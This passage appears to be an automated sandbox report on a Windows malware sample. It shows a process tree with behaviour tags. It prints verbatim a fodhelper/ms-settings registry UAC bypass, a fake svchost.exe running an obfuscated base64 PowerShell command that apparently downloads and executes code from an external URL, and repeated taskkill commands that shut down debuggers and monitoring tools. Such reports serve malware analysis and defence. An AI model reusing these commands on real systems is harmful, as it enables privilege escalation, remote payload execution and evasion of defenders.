JAB0AHMAawBsAHIAdQBhAGMAPQAnAGkAJwArACcAJwArACcARQAnACsAJwB4ACcAOwBzAGEAbAAgAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAIAAkAHQAcwBrAGwAcgB1AGEAYwA7ACQAcAB6AGgAaABxAGQAdwBsAD0AdQBiAGkAagB0AGEAcwBrAG8AdgBlAGkAZABvAGQAYQBqAGUAawBzAGwAdQB6AG4AZQAoAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAKAAkACgAJAAoACcAKABuAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB3AC0AbwBiAGoAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AGMAdAAgAFMAeQBzAHQAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AG0ALgBOAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB0AC4AVwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAYgBDAGwAaQB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAbgB0ACkALgBEAG8AcABwADgAMwA4ADMAagBuAEQAdAByAGkAbgBnACgAJwAnAGgASgB1AGQAMgBOAEIASQBkAHIAaQB2AFAAUABzADgAMgA4AEQARgBTAC4AZwBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBnAGwAUABQAHMAOAAyADgARABGAFMALgBjAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAG0ALwB1AGMAPwBQAFAAcwA4ADIAOABEAEYAUwB4AHAAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAcgB0AD0AZABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQB3AG4AbABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBhAGQAJgBpAGQAPQAxAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGcAYgBDAGkAdwBCAGEAVgBYAFAAagBEAEgAaABWADAARwBjAFoAeAAzAGwAXwBIAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAFUAMQBkAGIAaQBkACcAJwAuAFIAZQBwAGwAYQBjAGUAKAAnACcASgB1AGQAMgBOAEIASQAnACcALAAnACcAdAB0AHAAcwA6AC8ALwAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnACcAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAJwAnACwAJwAnAG8AJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwAnAFAAUABzADgAMgA4AEQARgBTACcAJwAsACAAJwAnAGUAJwAnACkAKQAnACkALgBSAGUAcABsAGEAYwBlACgAJwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAJwAsACAAJwBlACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAHAAcAA4ADMAOAAzAGoAbgBEACcALAAgACcAdwBuAGwAbwBhAGQAUwAnACkAKQApACkA" /f3⤵
- Modifies registry class
- Modifies registry key
PID:5036
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .alecar /f3⤵
- Modifies registry class
- Modifies registry key
PID:1096
-
-
C:\Windows\system32\fodhelper.exe"C:\Windows\system32\fodhelper.exe"3⤵
- Modifies registry class
PID:932 -
C:\Users\Public\Music\svchost.exe"C:\Users\Public\Music\svchost.exe" powershell -exEC byPASs -enc JAB0AHMAawBsAHIAdQBhAGMAPQAnAGkAJwArACcAJwArACcARQAnACsAJwB4ACcAOwBzAGEAbAAgAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAIAAkAHQAcwBrAGwAcgB1AGEAYwA7ACQAcAB6AGgAaABxAGQAdwBsAD0AdQBiAGkAagB0AGEAcwBrAG8AdgBlAGkAZABvAGQAYQBqAGUAawBzAGwAdQB6AG4AZQAoAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAKAAkACgAJAAoACcAKABuAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB3AC0AbwBiAGoAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AGMAdAAgAFMAeQBzAHQAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AG0ALgBOAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB0AC4AVwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAYgBDAGwAaQB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAbgB0ACkALgBEAG8AcABwADgAMwA4ADMAagBuAEQAdAByAGkAbgBnACgAJwAnAGgASgB1AGQAMgBOAEIASQBkAHIAaQB2AFAAUABzADgAMgA4AEQARgBTAC4AZwBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBnAGwAUABQAHMAOAAyADgARABGAFMALgBjAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAG0ALwB1AGMAPwBQAFAAcwA4ADIAOABEAEYAUwB4AHAAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAcgB0AD0AZABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQB3AG4AbABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBhAGQAJgBpAGQAPQAxAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGcAYgBDAGkAdwBCAGEAVgBYAFAAagBEAEgAaABWADAARwBjAFoAeAAzAGwAXwBIAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAFUAMQBkAGIAaQBkACcAJwAuAFIAZQBwAGwAYQBjAGUAKAAnACcASgB1AGQAMgBOAEIASQAnACcALAAnACcAdAB0AHAAcwA6AC8ALwAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnACcAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAJwAnACwAJwAnAG8AJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwAnAFAAUABzADgAMgA4AEQARgBTACcAJwAsACAAJwAnAGUAJwAnACkAKQAnACkALgBSAGUAcABsAGEAYwBlACgAJwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAJwAsACAAJwBlACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAHAAcAA4ADMAOAAzAGoAbgBEACcALAAgACcAdwBuAGwAbwBhAGQAUwAnACkAKQApACkA4⤵
- Executes dropped EXE
PID:1564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -exEC byPASs -enc JAB0AHMAawBsAHIAdQBhAGMAPQAnAGkAJwArACcAJwArACcARQAnACsAJwB4ACcAOwBzAGEAbAAgAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAIAAkAHQAcwBrAGwAcgB1AGEAYwA7ACQAcAB6AGgAaABxAGQAdwBsAD0AdQBiAGkAagB0AGEAcwBrAG8AdgBlAGkAZABvAGQAYQBqAGUAawBzAGwAdQB6AG4AZQAoAHUAYgBpAGoAdABhAHMAawBvAHYAZQBpAGQAbwBkAGEAagBlAGsAcwBsAHUAegBuAGUAKAAkACgAJAAoACcAKABuAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB3AC0AbwBiAGoAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AGMAdAAgAFMAeQBzAHQAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AG0ALgBOAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwB0AC4AVwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAYgBDAGwAaQB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAbgB0ACkALgBEAG8AcABwADgAMwA4ADMAagBuAEQAdAByAGkAbgBnACgAJwAnAGgASgB1AGQAMgBOAEIASQBkAHIAaQB2AFAAUABzADgAMgA4AEQARgBTAC4AZwBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBnAGwAUABQAHMAOAAyADgARABGAFMALgBjAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAG0ALwB1AGMAPwBQAFAAcwA4ADIAOABEAEYAUwB4AHAAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAcgB0AD0AZABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQB3AG4AbABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQBhAGQAJgBpAGQAPQAxAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGcAYgBDAGkAdwBCAGEAVgBYAFAAagBEAEgAaABWADAARwBjAFoAeAAzAGwAXwBIAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAFUAMQBkAGIAaQBkACcAJwAuAFIAZQBwAGwAYQBjAGUAKAAnACcASgB1AGQAMgBOAEIASQAnACcALAAnACcAdAB0AHAAcwA6AC8ALwAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnACcAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAJwAnACwAJwAnAG8AJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwAnAFAAUABzADgAMgA4AEQARgBTACcAJwAsACAAJwAnAGUAJwAnACkAKQAnACkALgBSAGUAcABsAGEAYwBlACgAJwB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAJwAsACAAJwBlACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAHAAcAA4ADMAOAAzAGoAbgBEACcALAAgACcAdwBuAGwAbwBhAGQAUwAnACkAKQApACkA5⤵
- UAC bypass
- Blocklisted process makes network request
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" import C:\Users\Public\Music\ass6⤵PID:3028
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4932
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4316
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4536
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2940
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1472
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4348
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2864
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4824
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5072
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4812
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4088
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3856
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2648
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3340
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5060
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4860
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3484
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1020
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1912
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4324
-
-
-
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\.alecar\ /f3⤵
- Modifies registry class
- Modifies registry key
PID:2512
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f3⤵
- Modifies registry class
- Modifies registry key
PID:3224
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
